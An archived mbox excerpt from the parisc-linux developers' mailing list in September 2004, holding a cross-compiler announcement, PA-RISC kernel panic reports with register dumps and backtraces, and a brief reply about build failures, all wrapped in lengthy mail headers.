Even without the above URL I was able to build myself a x86-hppa crosscompiler :-)

It's available here for download now (~26MB):
ftp://ftp.parisc-linux.org/x86-xcompilers/xc-20040917-hppa32.tgz

Some notes:
- x86 -> hppa (32bit only!)
- based on DEBIAN's hppa binutils and gcc3.3 packages (look at the README in the archive)
- only for cross-compiling Linux kernels
- unpack in /opt and add /opt/palinux33/bin to your $PATH

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] 2.6.9-rc2-pa5 panic in poll_freewait+0x58
Date: Sun, 19 Sep 2004 00:14:08 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20040919061408.GE12274@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623565 11136 80.91.229.3 (22 Nov 2014 02:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24656 invoked by uid 65534); 19 Sep 2004 06:14:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 19 Sep 2004 08:14:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 083A83BE17; Sun, 19 Sep 2004 00:14:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26085-06; Sun, 19 Sep 2004 00:14:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 18A973BE20; Sun, 19 Sep 2004 00:14:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E6323BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 00:14:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25937-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 00:14:10 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D74FA3BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 00:14:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 25C5C298126
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 00:14:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14392-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 00:14:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3E0D0298058; Sun, 19 Sep 2004 00:14:08 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22015

I was running dselect "update" operation when it panic'd.

Since this is a graphical console. Here are some of the data by hand.

Code 15 (addr=6f000004)

PSW: BC QPDI (bits set in PSW)

r00-03  00000000 103e3aac 1017adb8 4c4dafec
r04-07  4c4db008 6f000004 00000009 00000104
...
r20-23  10dadb78 103e3c20 0000000f 0000000f
r24-27  00000314 00000000 10dadb60 103c2010
r28-31  00000104 98a50c80 4d974280 1017b224
sr0-3   00000000 00000f13 00000000 00000efe
sr4-7   all zero

IASQ: zero
IOAQ: 1017adbc 1017ad84
IIR:  0ca81083
CR30 4d974000 CR31 10490000
IOAQ[0]: poll_freewait+0x58/0x70
IOAQ[1]: poll_freewait+0x20/0x70
RP(r2): poll_freewait+0x54/0x70


My guess is it panic'd on the delay slot of a branch insn.


I'm also wondering now how I built this kernel.
Kind of odd to file a "fails to build" (64-bit) and
a "BUG/panic" against the same revision.

But the login message (via ssh) was:
grundler@ob500:~$ ssh 192.168.3.3
Enter passphrase for key '/home/grundler/.ssh/id_rsa': 
Linux gggc3k 2.6.9-rc2-pa5 #9 Sat Sep 18 21:10:49 PDT 2004 parisc GNU/Linux
No mail.
...


hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.9-rc2-pa5 build failures
Date: Sun, 19 Sep 2004 16:00:01 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200409192000.i8JK01wr025911@hiauly1.hia.nrc.ca>
References: <20040919104202.GB22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623565 11137 80.91.229.3 (22 Nov 2014 02:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27905 invoked by uid 65534); 19 Sep 2004 20:01:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 19 Sep 2004 22:01:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A692D3BDDB; Sun, 19 Sep 2004 14:00:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00944-10; Sun, 19 Sep 2004 14:00:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1CD553BE23; Sun, 19 Sep 2004 14:00:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93A823BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 14:00:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00944-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 14:00:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 335853BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 14:00:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8JK01cP025912; Sun, 19 Sep 2004 16:00:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8JK01wr025911;
	Sun, 19 Sep 2004 16:00:01 -0400 (EDT)
In-Reply-To: <20040919104202.GB22642@tausq.org> from "Randolph Chung" at Sep
	19, 2004 06:42:02 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22016

> > I thought it was just my config that failed to build -pa5
> > until I looked at:
> > 	http://cvs.parisc-linux.org/download/linux-2.6/
> 
> sigh, it's a problem with gcc-3.0....

Does the problem affect currently active branches?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel crash in free_block? (c3k, 32-bit, UP)
Date: Sun, 19 Sep 2004 22:23:37 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <20040920022336.GP17238@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623565 11139 80.91.229.3 (22 Nov 2014 02:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27604 invoked by uid 65534); 20 Sep 2004 02:24:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 20 Sep 2004 04:24:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C65343BDE6; Sun, 19 Sep 2004 20:24:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04689-10; Sun, 19 Sep 2004 20:24:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1FF13BE27; Sun, 19 Sep 2004 20:23:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41C4B3BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:23:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04689-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:23:39 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id F13503BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:23:38 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9Dq5-000567-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 22:23:37 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22017


pa,

Configured with: ../src/configure -v
--enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr
--mandir=/usr/share/man --infodir=/usr/share/info
--with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared
--with-system-zlib --enable-nls --without-included-gettext
--enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu
--enable-debug --enable-java-gc=boehm --enable-java-awt=xlib
--enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-5)

2.6.9-rc2-pa6, C3000, 32-bit UP (PA7300LC optimized).

Kernel crashed during heavy disk load.

Backtrace:
 [<1014a498>] drain_array_locked+0x90/0xc4
 [<1014a568>] cache_reap+0x9c/0x20c
 [<101389a8>] worker_thread+0x1ac/0x278
 [<1013d420>] kthread+0xdc/0xe4
 [<1010dc5c>] ret_from_kernel_thread+0x1c/0x24

Kernel Fault: Code=15 regs=10ff42c0 (Addr=b4d7fcf0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  00000000 1049b810 1014a498 00000008
r04-07  4fc7d2e0 4fc7d2ec 4fe21014 f0000000
r08-11  1049b810 00200200 00100100 4fc7d2fc
r12-15  00200000 00100000 103b2010 10490010
r16-19  f00008c4 f000017c f0000174 b4d7fcec
r20-23  4fc7d2ec 2b5a7000 00000011 10343fe0
r24-27  00000008 4fe21010 2b5a7214 10398010
r28-31  4ff620d0 00000002 10ff42c0 1014a5bc
sr0-3   00000000 000000d9 00000000 000000d9
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10149c08 10149c0c
 IIR: 0e741288    ISR: 00000000  IOR: b4d7fcf0
 CPU:        0   CR30: 10ff4000 CR31: 1042c000
 ORIG_R28: 00000000
 IAOQ[0]: free_block+0x90/0x158
 IAOQ[1]: free_block+0x94/0x158
 RP(r2): drain_array_locked+0x90/0xc4
Kernel panic - not syncing: Kernel Fault

The fault address is a bit weird.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	kernel crash in cache_alloc_refill (a500, 64-bit, UP)
Date: Sun, 19 Sep 2004 22:45:07 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <20040920024506.GT17238@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623566 11141 80.91.229.3 (22 Nov 2014 02:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14774 invoked by uid 65534); 20 Sep 2004 02:45:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 20 Sep 2004 04:45:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 551BA3BE21; Sun, 19 Sep 2004 20:45:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05095-10; Sun, 19 Sep 2004 20:45:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1AEFC3BE27; Sun, 19 Sep 2004 20:45:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E7DF3BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:45:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05095-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:45:09 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C2A7B3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 20:45:08 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9EAt-0005Bx-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 22:45:07 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22018

pa,

My kernels are being less than stable...
This is recent. Something has recently changed?
Any thoughts?

firin login: Backtrace:
 [<0000000010184e38>] kmem_cache_alloc+0x68/0x70
 [<00000000101b6664>] alloc_buffer_head+0x2c/0x90
 [<000000001022a980>] journal_write_metadata_buffer+0x88/0x8a8
 [<00000000102242f4>] journal_commit_transaction+0x7fc/0x2778
 [<000000001022a460>] kjournald+0x150/0x370
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x38

Bad Address (null pointer deref?): Code=15 regs=000000006d2ec8f0 (Addr=4000000066354008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  0000000000000000 0000000010597100 00000000123d8ce8 000000000000000b
r04-07  0000000000000001 00000000123da000 00000000123d8bc0 00000000123d8cc8
r08-11  00000000123db000 00000000123d8d28 0000000000000850 000000006f702a40
r12-15  000000006d2ec508 0000000000330226 0000000000000000 0000000000000000
r16-19  0000000000000000 000000006ddfd06c 0000000000000f94 00000000123d8cc8
r20-23  7364650066354000 000000000000002c 0000000000000031 000000006637e000
r24-27  000000000000000a 000000006637e028 00000000123da010 0000000010516e80
r28-31  0000000000200200 0000000000100100 000000006d2ec8f0 00000000123d8cd8
sr0-3   0000000004c47000 0000000000000000 0000000000000000 0000000004c47000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010184934 0000000010184938
 IIR: 0e9312d0    ISR: 0000000033646500  IOR: 4000000066354008
 CPU:        0   CR30: 000000006d2ec000 CR31: 00000000104e0000
 ORIG_R28: 000000005b4c1ab8
 IAOQ[0]: cache_alloc_refill+0x164/0x330
 IAOQ[1]: cache_alloc_refill+0x168/0x330
 RP(r2): 0x123d8ce8
Kernel panic - not syncing: Bad Address (null pointer deref?)
 <0>Rebooting in 180 seconds..

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel crash in cache_alloc_refill (a500, 64-bit,
	UP)
Date: Sun, 19 Sep 2004 23:41:17 -0600
Lines: 92
Approved: news@gmane.org
Message-ID: <20040920054117.GA6895@colo.lackof.org>
References: <20040920024506.GT17238@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623566 11144 80.91.229.3 (22 Nov 2014 02:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29243 invoked by uid 65534); 20 Sep 2004 05:42:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 20 Sep 2004 07:42:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3261B3BE21; Sun, 19 Sep 2004 23:41:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06895-05; Sun, 19 Sep 2004 23:41:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 85C693BE27; Sun, 19 Sep 2004 23:41:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23B373BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 23:41:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06876-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 23:41:22 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 91A4A3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 23:41:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9539229811D; Sun, 19 Sep 2004 23:41:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08591-05; Sun, 19 Sep 2004 23:41:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7FCD7298114; Sun, 19 Sep 2004 23:41:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040920024506.GT17238@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
